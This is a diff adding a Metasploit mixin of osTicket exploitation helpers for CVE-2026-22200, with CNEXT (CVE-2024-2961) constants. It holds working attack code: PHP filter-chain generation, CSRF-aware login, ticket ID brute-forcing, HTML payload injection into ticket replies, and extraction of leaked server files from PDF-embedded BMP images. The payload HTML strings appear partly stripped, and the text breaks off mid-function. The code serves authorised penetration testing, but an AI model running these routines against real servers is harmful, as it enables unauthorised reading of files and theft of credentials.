diff --git a/lib/msf/core/auxiliary/osticket.rb b/lib/msf/core/auxiliary/osticket.rb new file mode 100644 index 0000000000000..476a69439c28e --- /dev/null +++ b/lib/msf/core/auxiliary/osticket.rb @@ -0,0 +1,1328 @@ +# -*- coding: binary -*- + +require 'zlib' + +## +# Shared helpers for osTicket exploitation modules (CVE-2026-22200 + CNEXT CVE-2024-2961). +# +# All methods take explicit parameters and hold no module state. Module +# implementations are responsible for option registration, datastore +# access, and orchestration. +# +# Modules including this mixin MUST also include Msf::Exploit::Remote::HttpClient. +## +module Msf + module Auxiliary::Osticket + + # + # Iconv character-set mapping table for PHP filter chain generation. + # Each hex nibble of a base64 character maps to a chain of iconv + # conversions that, when combined with base64-encode/decode cycles, + # produce that character in the output stream. + # + # Reference: https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT + # + ICONV_MAPPINGS = { + '30' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE', + '31' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4', + '32' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921', + '33' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE', + '34' => 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE', + '35' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE', + '36' => 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2', + '37' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4', + '38' => 'convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16', + '39' => 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB', + '2f' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4', + '41' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213', + '42' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000', + '43' => 'convert.iconv.CN.ISO2022KR', + '44' => 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213', + '45' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT', + '46' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB', + '47' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90', + '48' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213', + '49' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213', + '4a' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4', + '4b' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE', + '4c' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC', + '4d' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T', + '4e' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4', + '4f' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775', + '50' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB', + '51' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2', + '52' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4', + '53' => 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS', + '54' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103', + '55' => 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943', + '56' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB', + '57' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936', + '58' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932', + '59' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361', + '5a' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16', + '61' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE', + '62' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE', + '63' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2', + '64' => 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5', + '65' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937', + '66' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213', + '67' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8', + '68' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE', + '69' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000', + '6a' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16', + '6b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2', + '6c' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE', + '6d' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949', + '6e' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61', + '6f' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE', + '70' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4', + '71' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2', + '72' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101', + '73' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90', + '74' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS', + '75' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61', + '76' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932', + '77' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE', + '78' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS', + '79' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT', + '7a' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937' + }.freeze + + # CNEXT (CVE-2024-2961) constants + CNEXT_HEAP_SIZE = 2 * 1024 * 1024 + CNEXT_BUG = "\xe5\x8a\x84".b # UTF-8 encoding of 劄 - triggers glibc iconv overflow + CNEXT_OFFSET_FREE_SLOT = 0x20 # zend_mm_heap->free_slot offset (x86_64) + CNEXT_OFFSET_CUSTOM_HEAP = 0x168 # zend_mm_heap->custom_heap offset (x86_64) + CNEXT_CHUNK_SIZE = 0x100 # Default chunk size used in CNEXT heap manipulation + + # ───────────────────────────────────────────────────────── + # Detection + # ───────────────────────────────────────────────────────── + + # Checks whether an HTTP response belongs to an osTicket installation. + # + # @param response [Rex::Proto::Http::Response] HTTP response + # @return [Boolean] + def is_osticket?(response) + unless response + vprint_error('is_osticket?: No response received (nil)') + return false + end + vprint_status("is_osticket?: Response code=#{response.code}, body length=#{response.body.to_s.length}") + unless response.code == 200 + vprint_error("is_osticket?: Non-200 response code: #{response.code}") + return false + end + + found = response.body.match?(/osTicket/i) + vprint_status("is_osticket?: osTicket signature #{found ? 'FOUND' : 'NOT found'} in response body") + found + end + + # ───────────────────────────────────────────────────────── + # CSRF Token Extraction + # ───────────────────────────────────────────────────────── + + # Extracts the __CSRFToken__ hidden field value from an osTicket HTML page. + # Handles name-before-value, value-before-name, and single/double quotes. + # + # @param html [String] HTML response body + # @return [String, nil] CSRF token value, or nil if not found + def extract_csrf_token(html) + vprint_status("extract_csrf_token: Searching HTML (#{html.to_s.length} bytes) for __CSRFToken__") + [ + /name="__CSRFToken__"[^>]*value="([^"]+)"/, + /value="([^"]+)"[^>]*name="__CSRFToken__"/, + /name='__CSRFToken__'[^>]*value='([^']+)'/, + /value='([^']+)'[^>]*name='__CSRFToken__'/ + ].each do |pattern| + match = html.match(pattern) + if match + vprint_good("extract_csrf_token: Found token=#{match[1]}") + return match[1] + end + end + vprint_error('extract_csrf_token: No CSRF token found in HTML') + nil + end + + # ───────────────────────────────────────────────────────── + # Authentication + # ───────────────────────────────────────────────────────── + + # Authenticates to the osTicket staff control panel (/scp/). + # + # @param base_uri [String] base path to osTicket (e.g. '/') + # @param username [String] staff username + # @param password [String] staff password + # @return [String, nil] session cookies on success, nil on failure + def osticket_login_scp(base_uri, username, password) + login_uri = normalize_uri(base_uri, 'scp', 'login.php') + vprint_status("osticket_login_scp: GET #{login_uri}") + + res = send_request_cgi('method' => 'GET', 'uri' => login_uri) + unless res + vprint_error('osticket_login_scp: No response from GET request (nil)') + return nil + end + vprint_status("osticket_login_scp: GET response code=#{res.code}, cookies=#{res.get_cookies}") + unless res.code == 200 + vprint_error("osticket_login_scp: Expected 200, got #{res.code}") + return nil + end + + csrf = extract_csrf_token(res.body) + unless csrf + vprint_error('osticket_login_scp: No CSRF token found, cannot POST login') + return nil + end + + cookies_for_post = res.get_cookies + vprint_status("osticket_login_scp: POST #{login_uri} with userid=#{username}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => login_uri, + 'cookie' => cookies_for_post, + 'vars_post' => { + '__CSRFToken__' => csrf, + 'userid' => username, + 'passwd' => password + } + ) + unless res + vprint_error('osticket_login_scp: No response from POST request (nil)') + return nil + end + vprint_status("osticket_login_scp: POST response code=#{res.code}, url=#{res.headers['Location']}, body contains userid=#{res.body.downcase.include?('userid')}") + + if res.code == 302 + post_cookies = res.get_cookies + # 302 responses may not set new cookies; fall back to the GET cookies + # which already contain the authenticated OSTSESSID + session_cookies = post_cookies.empty? ? cookies_for_post : post_cookies + + # Follow the redirect to complete the login flow (Python requests.Session + # does this automatically with allow_redirects=True) + location = res.headers['Location'] + if location + redirect_uri = location.start_with?('http') ? URI.parse(location).path : location + vprint_status("osticket_login_scp: Following 302 redirect to #{redirect_uri}") + redir_res = send_request_cgi('method' => 'GET', 'uri' => redirect_uri, 'cookie' => session_cookies) + if redir_res + vprint_status("osticket_login_scp: Redirect response code=#{redir_res.code}, body=#{redir_res.body.to_s.length} bytes") + # If the redirect target sets additional cookies, use them + redir_cookies = redir_res.get_cookies + session_cookies = redir_cookies unless redir_cookies.empty? + end + end + + vprint_good("osticket_login_scp: Login SUCCESS, cookies=#{session_cookies}") + return session_cookies + end + + if res.code == 200 && !res.body.downcase.include?('userid') + vprint_good("osticket_login_scp: Login SUCCESS (200 without login form), cookies=#{cookies_for_post}") + return cookies_for_post + end + + vprint_error('osticket_login_scp: Login FAILED (still see login form)') + nil + end + + # Authenticates to the osTicket client portal. + # + # @param base_uri [String] base path to osTicket (e.g. '/') + # @param username [String] client email + # @param password [String] client password + # @param login_path [String] login path (default: 'login.php') + # + # @return [String, nil] session cookies on success, nil on failure + # + def osticket_login_client(base_uri, username, password, login_path = 'login.php') + login_uri = normalize_uri(base_uri, login_path) + vprint_status("osticket_login_client: GET #{login_uri}") + + res = send_request_cgi('method' => 'GET', 'uri' => login_uri) + unless res + vprint_error('osticket_login_client: No response from GET request (nil)') + return nil + end + vprint_status("osticket_login_client: GET response code=#{res.code}, cookies=#{res.get_cookies}") + unless res.code == 200 + vprint_error("osticket_login_client: Expected 200, got #{res.code}") + return nil + end + + csrf = extract_csrf_token(res.body) + unless csrf + vprint_error('osticket_login_client: No CSRF token found, cannot POST login') + return nil + end + + cookies_for_post = res.get_cookies + vprint_status("osticket_login_client: POST #{login_uri} with luser=#{username}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => login_uri, + 'cookie' => cookies_for_post, + 'vars_post' => { + '__CSRFToken__' => csrf, + 'luser' => username, + 'lpasswd' => password + } + ) + unless res + vprint_error('osticket_login_client: No response from POST request (nil)') + return nil + end + vprint_status("osticket_login_client: POST response code=#{res.code}, body contains luser=#{res.body.include?('luser')}") + + if res.code == 302 + post_cookies = res.get_cookies + # 302 responses may not set new cookies; fall back to the GET cookies + # which already contain the authenticated OSTSESSID + session_cookies = post_cookies.empty? ? cookies_for_post : post_cookies + + # Follow the redirect to complete the login flow (Python requests.Session + # does this automatically with allow_redirects=True) + location = res.headers['Location'] + if location + redirect_uri = location.start_with?('http') ? URI.parse(location).path : location + vprint_status("osticket_login_client: Following 302 redirect to #{redirect_uri}") + redir_res = send_request_cgi('method' => 'GET', 'uri' => redirect_uri, 'cookie' => session_cookies) + if redir_res + vprint_status("osticket_login_client: Redirect response code=#{redir_res.code}, body=#{redir_res.body.to_s.length} bytes") + # If the redirect target sets additional cookies, use them + redir_cookies = redir_res.get_cookies + session_cookies = redir_cookies unless redir_cookies.empty? + end + end + + vprint_good("osticket_login_client: Login SUCCESS, cookies=#{session_cookies}") + return session_cookies + end + + if res.code == 200 && !res.body.include?('luser') + vprint_good("osticket_login_client: Login SUCCESS (200 without login form), cookies=#{cookies_for_post}") + return cookies_for_post + end + + vprint_error('osticket_login_client: Login FAILED (still see login form)') + nil + end + + # ───────────────────────────────────────────────────────── + # Ticket Operations + # ───────────────────────────────────────────────────────── + + # Resolves a user-visible ticket number to the internal numeric ticket ID + # used in tickets.php?id= parameters. + # + # @param base_uri [String] base path to osTicket + # @param prefix [String] portal prefix ('/scp' or '') + # @param ticket_number [String] visible ticket number (e.g. '978554') + # @param cookies [String] session cookies + # @return [String, nil] internal ticket ID or nil + def find_ticket_id(base_uri, prefix, ticket_number, cookies, max_id) + tickets_uri = normalize_uri(base_uri, prefix, 'tickets.php') + vprint_status("find_ticket_id: GET #{tickets_uri} (looking for ticket ##{ticket_number})") + vprint_status("find_ticket_id: Using cookies=#{cookies}") + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => tickets_uri, + 'cookie' => cookies + ) + unless res + vprint_error('find_ticket_id: No response from ticket listing (nil)') + return nil + end + vprint_status("find_ticket_id: Ticket listing response code=#{res.code}, body=#{res.body.to_s.length} bytes") + vprint_status("find_ticket_id: Body:\n#{res.body}") + return nil unless res.code == 200 + + match = res.body.match(/tickets\.php\?id=(\d+)[^>]*>.*?#?#{Regexp.escape(ticket_number.to_s)}/m) + if match + vprint_good("find_ticket_id: Found ticket ID=#{match[1]} from listing page") + return match[1] + end + vprint_status("find_ticket_id: Ticket ##{ticket_number} not found in listing, trying brute-force IDs 1-#{max_id}...") + + # Brute-force first N IDs as fallback + (1..max_id).each do |tid| + vprint_status("find_ticket_id: Trying id=#{tid}") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => tickets_uri, + 'cookie' => cookies, + 'vars_get' => { 'id' => tid.to_s } + ) + if res&.code == 200 && res.body.include?(ticket_number.to_s) + vprint_good("find_ticket_id: Found ticket ##{ticket_number} at id=#{tid}") + return tid.to_s + end + end + + vprint_error("find_ticket_id: Could not locate ticket ##{ticket_number}") + nil + end + + # Submits an HTML payload as a ticket reply. The payload is injected into + # the reply body and will be rendered by mPDF when the ticket PDF is exported. + # + # @param base_uri [String] base path to osTicket + # @param prefix [String] portal prefix ('/scp' or '') + # @param ticket_id [String] internal ticket ID + # @param html_content [String] HTML payload to inject + # @param cookies [String] session cookies + # @return [Boolean] true if the reply was accepted + def submit_ticket_reply(base_uri, prefix, ticket_id, html_content, cookies) + ticket_uri = normalize_uri(base_uri, prefix, 'tickets.php') + vprint_status("submit_ticket_reply: GET #{ticket_uri}?id=#{ticket_id} to fetch CSRF token") + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => ticket_uri, + 'cookie' => cookies, + 'vars_get' => { 'id' => ticket_id } + ) + unless res + vprint_error('submit_ticket_reply: No response from ticket page (nil)') + return false + end + vprint_status("submit_ticket_reply: GET response code=#{res.code}, body=#{res.body.to_s.length} bytes") + return false unless res.code == 200 + + csrf = extract_csrf_token(res.body) + unless csrf + vprint_error('submit_ticket_reply: No CSRF token found on ticket page') + return false + end + + # SCP uses 'response' textarea, client portal uses 'message' + textarea_name = detect_reply_textarea(res.body, prefix) + vprint_status("submit_ticket_reply: Using textarea field '#{textarea_name}', payload=#{html_content.length} bytes") + + vprint_status("submit_ticket_reply: POST #{ticket_uri} with a=reply, id=#{ticket_id}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => ticket_uri, + 'cookie' => cookies, + 'vars_post' => { + '__CSRFToken__' => csrf, + 'id' => ticket_id, + 'a' => 'reply', + textarea_name => html_content + } + ) + unless res + vprint_error('submit_ticket_reply: No response from POST reply (nil)') + return false + end + vprint_status("submit_ticket_reply: POST response code=#{res.code}, body=#{res.body.to_s.length} bytes") + + # A 302 redirect after POST indicates the reply was accepted (osTicket redirects on success) + if res.code == 302 + vprint_good('submit_ticket_reply: Got 302 redirect - reply accepted') + return true + end + + success = %w[reply\ posted posted\ successfully message\ posted response\ posted].any? do |indicator| + res.body.downcase.include?(indicator) + end + vprint_status("submit_ticket_reply: Success indicators found=#{success}") + success + end + + # Downloads the PDF export of a ticket. Tries multiple known URL patterns. + # + # @param base_uri [String] base path to osTicket + # @param prefix [String] portal prefix ('/scp' or '') + # @param ticket_id [String] internal ticket ID + # @param cookies [String] session cookies + # @return [String, nil] raw PDF bytes, or nil on failure + def download_ticket_pdf(base_uri, prefix, ticket_id, cookies, max_redirects = 3) + base = normalize_uri(base_uri, prefix, 'tickets.php') + vprint_status("download_ticket_pdf: Trying PDF export from #{base}") + + [ + { 'a' => 'print', 'id' => ticket_id }, + { 'a' => 'print', 'id' => ticket_id, 'pdf' => 'true' }, + { 'id' => ticket_id, 'a' => 'print' } + ].each do |params| + query = params.map { |k, v| "#{k}=#{v}" }.join('&') + vprint_status("download_ticket_pdf: GET #{base}?#{query}") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => base, + 'cookie' => cookies, + 'vars_get' => params + ) + unless res + vprint_error("download_ticket_pdf: No response (nil) for params=#{params}") + next + end + + # Follow 302 redirects (osTicket may redirect to the actual PDF URL) + redirect_limit = max_redirects + while res.code == 302 && redirect_limit > 0 + location = res.headers['Location'] + break unless location + + redirect_uri = location.start_with?('http') ? URI.parse(location).path : location + vprint_status("download_ticket_pdf: Following 302 redirect to #{redirect_uri}") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => redirect_uri, + 'cookie' => cookies + ) + break unless res + + redirect_limit -= 1 + end + + content_type = res.headers['Content-Type'] || '' + magic = res.body[0, 4].to_s + vprint_status("download_ticket_pdf: Response code=#{res.code}, Content-Type=#{content_type}, magic=#{magic.inspect}, size=#{res.body.length}") + + if content_type.start_with?('application/pdf') || magic == '%PDF' + vprint_good("download_ticket_pdf: Got PDF (#{res.body.length} bytes)") + return res.body + else + vprint_warning("download_ticket_pdf: Not a PDF response") + end + end + + vprint_error('download_ticket_pdf: All PDF URL patterns failed') + nil + end + + # ───────────────────────────────────────────────────────── + # PHP Filter Chain Generation + # ───────────────────────────────────────────────────────── + + # Builds a minimal 24-bit BMP file header used as a carrier for + # exfiltrated data. mPDF renders it as an image whose pixel data + # contains the leaked file content after the ISO-2022-KR escape marker. + # + # @param width [Integer] BMP width in pixels (default 15000) + # @param height [Integer] BMP height in pixels (default 1) + # @return [String] raw BMP header bytes + def generate_bmp_header(width = 15000, height = 1) + header = "BM:\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00(\x00\x00\x00".b + header << [width].pack('V') + header << [height].pack('V') + header << "\x01\x00\x18\x00\x00\x00\x00\x00\x04\x00\x00\x00".b + header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".b + header + end + + # Generates a PHP filter chain URI that reads a target file and prepends + # a BMP header so the result embeds as an image in the PDF. + # + # @param file_path [String] remote file path to read + # @param encoding [String] 'plain', 'b64', or 'b64zlib' + # @return [String] the php://filter/... URI + def generate_php_filter_payload(file_path, encoding = 'plain') + b64_payload = Rex::Text.encode_base64(generate_bmp_header) + + filters = 'convert.iconv.UTF8.CSISO2022KR|' + filters << 'convert.base64-encode|' + filters << 'convert.iconv.UTF8.UTF7|' + + b64_payload.reverse.each_char do |c| + hex_char = c.ord.to_s(16) + mapping = ICONV_MAPPINGS[hex_char] + next unless mapping + + filters << mapping << '|' + filters << 'convert.base64-decode|' + filters << 'convert.base64-encode|' + filters << 'convert.iconv.UTF8.UTF7|' + end + + filters << 'convert.base64-decode' + + case encoding + when 'b64' + filters = 'convert.base64-encode|' + filters + when 'b64zlib' + filters = 'zlib.deflate|convert.base64-encode|' + filters + end + + "php://filter/#{filters}/resource=#{file_path}" + end + + # URL-encodes a string, forcing uppercase ASCII letters to percent-encoded + # form. Necessary because osTicket/mPDF/htmLawed lowercases unencoded path + # components, breaking case-sensitive iconv charset names. + # + # @param input_string [String] string to encode + # @return [String] URL-encoded string + def quote_with_forced_uppercase(input_string) + safe_chars = ('a'..'z').to_a + ('0'..'9').to_a + ['_', '.', '-', '~'] + input_string.chars.map do |char| + if char >= 'A' && char <= 'Z' + format('%%%X', char.ord) + elsif safe_chars.include?(char) + char + else + Rex::Text.uri_encode(char) + end + end.join + end + + # Generates the HTML payload for injection into an osTicket ticket. + # Each file to read becomes a
  • element whose list-style-image CSS + # property points to a PHP filter chain URI, triggering mPDF to process it. + # + # @param file_specs [Array, Array] file paths to read. + # Strings may include encoding suffix: "/etc/passwd,b64zlib". + # Hashes should have :path and optionally :encoding keys. + # @param is_reply [Boolean] true for ticket reply, false for ticket creation + # @return [String] HTML payload + def generate_ticket_payload(file_specs, is_reply = true) + sep = is_reply ? '&#34' : '"' + + payloads = Array(file_specs).map do |spec| + if spec.is_a?(Hash) + generate_php_filter_payload(spec[:path], spec[:encoding] || 'plain') + elsif spec.include?(',') + path, enc = spec.split(',', 2) + enc = 'plain' unless %w[plain b64 b64zlib].include?(enc) + generate_php_filter_payload(path, enc) + else + generate_php_filter_payload(spec) + end + end + + html = '
      ' + payloads.each do |p| + html << "
    • listitem
    • \n" + end + html << '
    ' + html + end + + # Wraps a raw PHP filter chain URI (e.g. a CNEXT payload) in the + # osTicket HTML injection format for delivery via ticket reply. + # + # @param filter_uri [String] php://filter/... URI + # @param is_reply [Boolean] true for ticket reply payload + # @return [String] HTML payload + def wrap_filter_as_ticket_payload(filter_uri, is_reply = true) + sep = is_reply ? '&#34' : '"' + "
    • listitem
    " + end + + # ───────────────────────────────────────────────────────── + # PDF / BMP Data Extraction Pipeline + # ───────────────────────────────────────────────────────── + + # Extracts exfiltrated file contents from a PDF generated by mPDF. + # + # mPDF embeds our BMP payload as a PDF image XObject, converting the + # pixel data from BMP's BGR byte order to PDF's RGB byte order. To find + # the ISO-2022-KR marker, we must convert the image data back to BGR. + # + # This mirrors what the Python PoC does with PyMuPDF + Pillow: + # pix = fitz.Pixmap(pdf_doc, xref) # extract image (RGB) + # pil_image.save(bmp_buffer, "BMP") # convert to BMP (BGR) + # extract_data_from_bmp(bmp_data) # find marker in BGR data + # + # @param pdf_data [String] raw PDF bytes + # @return [Array] array of extracted file contents + def extract_files_from_pdf(pdf_data) + vprint_status("extract_files_from_pdf: Processing PDF (#{pdf_data.length} bytes)") + results = [] + + # Primary: Extract image XObjects, swap RGB→BGR, search for marker + image_streams = extract_pdf_image_streams(pdf_data) + vprint_status("extract_files_from_pdf: Found #{image_streams.length} image XObject streams") + + image_streams.each_with_index do |img_data, idx| + # Swap RGB→BGR to restore original BMP pixel byte order + bgr_data = swap_rgb_bgr(img_data) + vprint_status("extract_files_from_pdf: Image ##{idx}: #{img_data.length} bytes, swapped to BGR") + + content = extract_data_from_bmp_stream(bgr_data) + next unless content && !content.empty? + + clean = content.sub(/\x00+\z/, ''.b) + pad_idx = clean.index('@C>=='.b) + clean = clean[0...pad_idx] if pad_idx && pad_idx > 0 + unless clean.empty? + vprint_good("extract_files_from_pdf: Image ##{idx} yielded #{clean.length} bytes of extracted data") + results << clean + end + end + + unless results.empty? + vprint_status("extract_files_from_pdf: Total extracted files: #{results.length}") + return results + end + + # Fallback: scan all streams directly (for edge cases where BGR swap isn't needed) + streams = extract_pdf_streams(pdf_data) + vprint_status("extract_files_from_pdf: Fallback - scanning #{streams.length} raw streams") + + streams.each_with_index do |stream, idx| + content = extract_data_from_bmp_stream(stream) + next unless content && !content.empty? + + clean = content.sub(/\x00+\z/, ''.b) + pad_idx = clean.index('@C>=='.b) + clean = clean[0...pad_idx] if pad_idx && pad_idx > 0 + unless clean.empty? + vprint_good("extract_files_from_pdf: Stream ##{idx} yielded #{clean.length} bytes of extracted data") + results << clean + end + end + + vprint_status("extract_files_from_pdf: Total extracted files: #{results.length}") + results + end + + # Finds image XObject streams in the PDF and returns their decompressed data. + # Parses the raw PDF to locate objects with /Subtype /Image, then extracts + # and decompresses their stream content. + # + # @param pdf_data [String] raw PDF bytes + # @return [Array] array of decompressed image stream data + def extract_pdf_image_streams(pdf_data) + pdf_data = pdf_data.dup.force_encoding('ASCII-8BIT') + images = [] + + # Find all object start positions + obj_starts = [] + pdf_data.scan(/\d+\s+\d+\s+obj\b/) do + obj_starts << Regexp.last_match.begin(0) + end + + obj_starts.each_with_index do |obj_start, i| + # Determine object boundary (up to next obj or end of file) + obj_end = i + 1 < obj_starts.length ? obj_starts[i + 1] : pdf_data.length + obj_data = pdf_data[obj_start...obj_end] + + # Only process image XObjects + next unless obj_data.match?(/\/Subtype\s*\/Image/) + + # Find stream data within this object + stream_idx = obj_data.index("stream") + next unless stream_idx + + # Skip past "stream" keyword + newline delimiter + data_start = stream_idx + 6 + data_start += 1 if data_start < obj_data.length && obj_data[data_start] == "\r".b + data_start += 1 if data_start < obj_data.length && obj_data[data_start] == "\n".b + + endstream_idx = obj_data.index('endstream', data_start) + next unless endstream_idx + + stream_data = obj_data[data_start...endstream_idx] + stream_data = stream_data.sub(/\r?\n?\z/, '') + + # Decompress if FlateDecode filter is applied + if obj_data.match?(/\/Filter\s*\/FlateDecode/) || obj_data.match?(/\/Filter\s*\[.*?\/FlateDecode/) + begin + decompressed = Zlib::Inflate.inflate(stream_data) + rescue Zlib::DataError, Zlib::BufError + decompressed = stream_data + end + else + decompressed = stream_data + end + + vprint_status("extract_pdf_image_streams: Found image object (#{decompressed.length} bytes decompressed)") + images << decompressed + end + + images + end + + # Swaps byte order in every 3-byte triplet: [R,G,B] → [B,G,R]. + # This reverses the BGR→RGB conversion that mPDF performs when + # embedding BMP pixel data into a PDF image XObject. + # + # @param data [String] RGB pixel data + # @return [String] BGR pixel data + def swap_rgb_bgr(data) + s = data.dup.force_encoding('ASCII-8BIT') + len = s.length + lim = len - (len % 3) # process only complete RGB triplets + + i = 0 + while i < lim + # direct byte swap using getbyte / setbyte is fastest in CRuby + r = s.getbyte(i) + b = s.getbyte(i+2) + s.setbyte(i, b) + s.setbyte(i+2, r) + i += 3 + end + s + end + + # Extracts and decompresses all stream objects from raw PDF data. + # Most PDF streams use FlateDecode (zlib). + # + # @param pdf_data [String] raw PDF bytes + # @return [Array] array of decompressed stream contents + def extract_pdf_streams(pdf_data) + streams = [] + pos = 0 + + while (start_idx = pdf_data.index('stream', pos)) + data_start = start_idx + 6 + data_start += 1 if data_start < pdf_data.length && pdf_data[data_start] == "\r" + data_start += 1 if data_start < pdf_data.length && pdf_data[data_start] == "\n" + + end_idx = pdf_data.index('endstream', data_start) + 